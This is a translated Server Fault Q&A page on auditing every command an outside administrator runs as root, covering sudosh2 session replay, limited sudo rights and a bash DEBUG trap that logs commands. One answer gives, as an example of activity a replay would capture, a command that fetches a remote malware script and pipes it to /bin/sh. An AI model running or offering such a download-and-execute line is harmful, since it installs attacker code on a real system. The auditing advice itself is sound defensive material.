记录从root执行的每个命令


16

我想让外部系统管理员可以访问我的根服务器,但是我想确保再次检查他对我的服务器所做的事情,例如,复制我不希望他们做的数据等等。我还想跟踪访问的任何文件,即使是只读文件也不能编辑。

我怎样才能做到这一点?


1
请参阅以下相关问题:serverfault.com/questions/181131/…
Stefan Lasiewski 2012年

Answers:


21

信任但要验证!

sudosh2。sudosh2由FreeBSD端口提供。软件包可用于RedHat和Ubuntu。这是他们网站的描述:

sudosh是审核外壳程序过滤器,可以用作登录外壳程序。Sudosh记录所有击键和输出,并且可以像VCR一样回放会话。

Sudosh将允许您重播用户的会话,这将使您能够查看用户看到的所有输入输出。您会看到所有内容,按键,输入错误,退格键,它们在其中进行vi了编辑,的输出wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh等。

可以将sudosh日志发送到syslog,以便可以将它们存储在远离系统的中央syslog服务器上。

请注意,sudosh2替代了sudosh,后者被其作者抛弃了

您是否在一家学术机构中工作,而该机构的用户坚持拥有超级用户特权?还是您在公司工作并希望允许用户在自己的VM上拥有超级用户特权?这可能是您的解决方案。


1
太好了-我以前从未听说过sudosh。
EEAA 2012年

2
您所说的“ VCR”是什么?
Tom Marthenal,2012年

2
它就像一个8轨,但是您可以录制自己的电视节目!
Stefan Lasiewski'4

22

不要给他root权限。而是给他一个非特权用户帐户,并要求他通过进行所有工作sudo,这将记录他的所有命令。

请记住,如果此人有恶意,并且您授予了他全部的sudo特权,则他找到一种无需记录这些命令即可执行这些不良意图的方法。在这种情况下,仅授予他访问执行其工作所需的特定命令的权限。


我想在不让我的生活痛苦的情况下尽可能地努力。感谢您的回答。
cedivad 2012年

您可以运行sudo su -并拥有一个不会被记录的root shell(除非您启动了它)。当我想一次性执行多个命令而不是root时,或者如果我希望普通用户无法读取的目录中的制表符补全,这就是我通常输入的内容。
rjmunro 2012年

@rjmunro-这就是为什么我发出警告,只给予他所需的特定访问权限。sudo su -如果需要,可以明确禁止。
EEAA 2012年

1

我对sudosh2不熟悉,但是我将以下内容.bashrc记录到了我在bashshell中键入的所有命令记录到文件中~/.command_log

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

上面在on上设置了一个陷阱DEBUG,该陷阱正好在执行普通命令之前执行。该caller内置用于测试是否该命令在交互的shell正在键入或通过类似运行.bashrc。该值${BASH_COMMAND}包含当前正在执行的命令。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.